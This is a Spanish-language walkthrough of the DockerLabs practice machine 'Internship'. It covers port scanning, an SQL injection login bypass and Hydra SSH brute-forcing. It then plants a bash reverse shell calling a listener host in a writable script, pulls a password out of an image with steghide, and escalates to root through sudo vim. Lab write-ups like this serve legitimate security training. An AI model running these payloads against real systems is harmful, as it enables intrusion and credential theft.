> For the complete documentation index, see [llms.txt](https://brias.gitbook.io/brias/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://brias.gitbook.io/brias/dockerlabs/dificultad-facil/internship.md).

# Internship

#### **Despliegue de la Máquina:**

**Descarga:**

Accedemos a la web oficial de [DockerLabs](https://dockerlabs.es/), buscamos la máquina **Internship** y pulsamos en el botón de descarga. Esto nos redirige a un enlace de Mega, desde donde descargamos un archivo comprimido que contiene tanto la imagen de la máquina como el script necesario para su ejecución.

**Descompresión:**

Utilizamos la herramienta `7z` para descomprimir el archivo `internship.zip` con el siguiente comando:

```bash
7z x internship.zip
```

<figure><img src="/files/lhdrpO8J7GTHw3iMIevx" alt=""><figcaption></figcaption></figure>

**Ejecución:**

Ejecutamos el script `auto_deploy.sh` que automatiza el despliegue del contenedor vulnerable en Docker:

```bash
bash auto_deploy.sh internship.tar
```

<figure><img src="/files/P2Vs8p6nqtsgEONlRwFa" alt=""><figcaption></figcaption></figure>

***

#### **Reconocimiento:**

**Verificación de Conectividad:**

Realizamos un `ping` a la dirección IP de la máquina (`172.17.0.2`) para confirmar que está activa:

```bash
ping -c 1 172.17.0.2
```

<figure><img src="/files/Y0SQ09e6NZJ7PENy8WI2" alt=""><figcaption></figcaption></figure>

**Escaneo de Puertos:**

Realizamos un escaneo rápido con `nmap` para identificar puertos abiertos:

```bash
nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 172.17.0.2 -oG allPorts
```

**Resultados:**

* **Puerto 22:** `SSH`.
* **Puerto 80:** `HTTP`.

<figure><img src="/files/71MNkbZZBEf1goIPYwam" alt=""><figcaption></figcaption></figure>

**Escaneo Detallado:**

Analizamos los puertos encontrados con mayor profundidad:

```bash
nmap -p22,80 -sCV 172.17.0.2 -oN targeted
```

**Detalles:**

* **SSH:** OpenSSH 9.2p1.
* **HTTP:** Apache 2.4.62 con un título "GateKeeper HR | Tu Portal de Recursos Humanos".

<figure><img src="/files/XHIDRywqk7CmrJ6GGYgX" alt=""><figcaption></figcaption></figure>

**Análisis del Servicio Web:**

Al acceder a `http://172.17.0.2/` desde el navegador, observamos una página con varios botones que no funcionan. Esto sugiere la existencia de un dominio.

<figure><img src="/files/MNDgkK16WsYc0GJiVEny" alt=""><figcaption></figcaption></figure>

Inspeccionando el código fuente, encontramos:

```html
<link rel="dns-prefetch" href="//gatekeeperhr.com" />
```

<figure><img src="/files/frEptbuXP9o4iSQ0WXOS" alt=""><figcaption></figcaption></figure>

Añadimos el dominio al archivo `/etc/hosts` para resolverlo correctamente:

```bash
172.17.0.2 gatekeeperhr.com
```

<figure><img src="/files/tkiNHgaaaWS0YiLNxOOj" alt=""><figcaption></figcaption></figure>

Ahora, al acceder a `http://gatekeeperhr.com/`, los botones funcionan como se esperaba.

***

#### **Explotación:**

**Inyección SQL:**

En el botón "Iniciar Sesión", probamos una inyección SQL básica:

```sql
' or 1=1 -- -
```

<figure><img src="/files/MSpzhLTs2loOWk1AZygd" alt=""><figcaption></figcaption></figure>

Esta inyección nos permite eludir el sistema de autenticación y acceder al panel de control, donde encontramos una lista de nombres de usuarios potenciales.

<figure><img src="/files/2duGAn8teoNXiYWnWhls" alt=""><figcaption></figcaption></figure>

Guardamos estos nombres en un archivo llamado `usuarios.txt` para su uso posterior.

<figure><img src="/files/vsytULEhfRGqxISUNM6k" alt=""><figcaption></figcaption></figure>

**Fuerza Bruta con Gobuster:**

Realizamos un ataque de fuerza bruta para descubrir directorios ocultos:

```bash
gobuster dir -u http://gatekeeperhr.com -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -x html,php
```

<figure><img src="/files/pBkX7RCNEQbWLKeQAmcZ" alt=""><figcaption></figcaption></figure>

Encontramos el directorio `/spam`, que contiene un comentario en el código fuente:

```html
<!-- Yn pbagenfrñn qr hab qr ybf cnfnagrf rf 'checy3' -->
```

<figure><img src="/files/YgNpev7Oxqu03oqvPLmC" alt=""><figcaption></figcaption></figure>

Decodificando este texto con [ROT13](https://www.rot13.app/), obtenemos:

```
La contraseña de uno de los pasantes es 'purpl3'
```

<figure><img src="/files/XTTLE3YNmdXBFbttF1qL" alt=""><figcaption></figcaption></figure>

**Fuerza Bruta con Hydra:**

Utilizamos `hydra` para probar la contraseña `purpl3` con la lista de usuarios encontrada anteriormente:

```bash
hydra -L usuarios.txt -p purpl3 ssh://172.17.0.2
```

Obtenemos credenciales válidas para el usuario `pedro`:

```bash
[22][ssh] host: 172.17.0.2   login: pedro   password: purpl3
```

<figure><img src="/files/O6X4z5yFAtfByH8tXM60" alt=""><figcaption></figcaption></figure>

Accedemos al sistema mediante SSH:

```bash
ssh pedro@172.17.0.2
```

<figure><img src="/files/U4rc3PwolFlQYbM5hOzY" alt=""><figcaption></figcaption></figure>

***

#### **Escalada de Privilegios:**

**Del Usuario Pedro a Valentina:**

Dentro del sistema, investigamos el directorio `/opt` y encontramos un script llamado `log_cleaner.sh` con permisos de escritura. Modificamos el script para incluir una [reverse shell](https://www.revshells.com/):

```bash
/bin/bash -i >& /dev/tcp/100.100.100.4/123 0>&1
```

<figure><img src="/files/t16MlphJZK9HiDt31TNF" alt=""><figcaption></figcaption></figure>

Nos ponemos en escucha en nuestro equipo:

```bash
nc -nvlp 123
```

<figure><img src="/files/XrFJQuKlBfcU8SllrydC" alt=""><figcaption></figcaption></figure>

Ejecutamos el script con el siguiente comando:

```bash
bash log_cleaner.sh
```

<figure><img src="/files/uZRJxK1jcxwzBMvQJm6G" alt=""><figcaption></figcaption></figure>

Obtenemos una shell como el usuario `valentina`.

<figure><img src="/files/XP5TXA38aNhzuGSIu65Q" alt=""><figcaption></figcaption></figure>

**Extracción de Credenciales Ocultas:**

En el directorio `/home/valentina`, encontramos un archivo llamado `profile_picture.jpeg`.

Movemos el archivo `profile_picture.jpeg` al directorio temporal `/tmp`:

```bash
mv profile_picture.jpeg /tmp
```

Cambiamos los permisos del archivo para evitar posibles problemas:

```bash
chmod 777 /tmp/profile_picture.jpeg
```

<figure><img src="/files/oqrO8AhU9Cf4CoudQFO2" alt=""><figcaption></figcaption></figure>

Nos montamos un servidor HTTP con PHP para descargarnos la imagen en nuestro equipo:

```bash
php -S 0.0.0.0:1212 -t /tmp
```

<figure><img src="/files/xJds18wtW37lnawvt7KN" alt=""><figcaption></figcaption></figure>

Desde nuestro equipo, ejecutamos el siguiente comando para descargarnos la imagen:

```bash
wget http://172.17.0.2:1212/profile_picture.jpeg
```

<figure><img src="/files/0cVMmTKYwkVL8L6wLFyF" alt=""><figcaption></figcaption></figure>

Abrimos la imagen pero no nos proporciona ningún tipo de información que nos ayude a seguir completando la máquina.

Utilizamos `steghide` para extraer información oculta:

```bash
steghide info profile_picture.jpeg
```

Descubrimos un archivo oculto llamado `secret.txt`.

<figure><img src="/files/ltqzfWqntwoAC7F6Xv6M" alt=""><figcaption></figcaption></figure>

Lo extraemos y encontramos la contraseña del usuario `valentina`:

```bash
steghide extract -sf profile_picture.jpeg
```

<figure><img src="/files/uHMZxIaOGbSQTDMe7zdI" alt=""><figcaption></figcaption></figure>

**Abuso de Sudoers:**

Verificamos los privilegios de `valentina` con `sudo -l`:

```bash
(ALL : ALL) PASSWD: ALL, NOPASSWD: /usr/bin/vim
```

<figure><img src="/files/LteVy7DyiQJ0FjvZ1iVr" alt=""><figcaption></figcaption></figure>

Utilizamos `vim` para escalar privilegios siguiendo la guía de [GTFOBins](https://gtfobins.github.io/gtfobins/vim/):

```bash
sudo vim -c ':!/bin/sh'
```

Esto nos otorga una shell como `root`, completando con éxito la explotación de la máquina.

<figure><img src="/files/dqBNr93NFZBBiW5FNQMp" alt=""><figcaption></figcaption></figure>
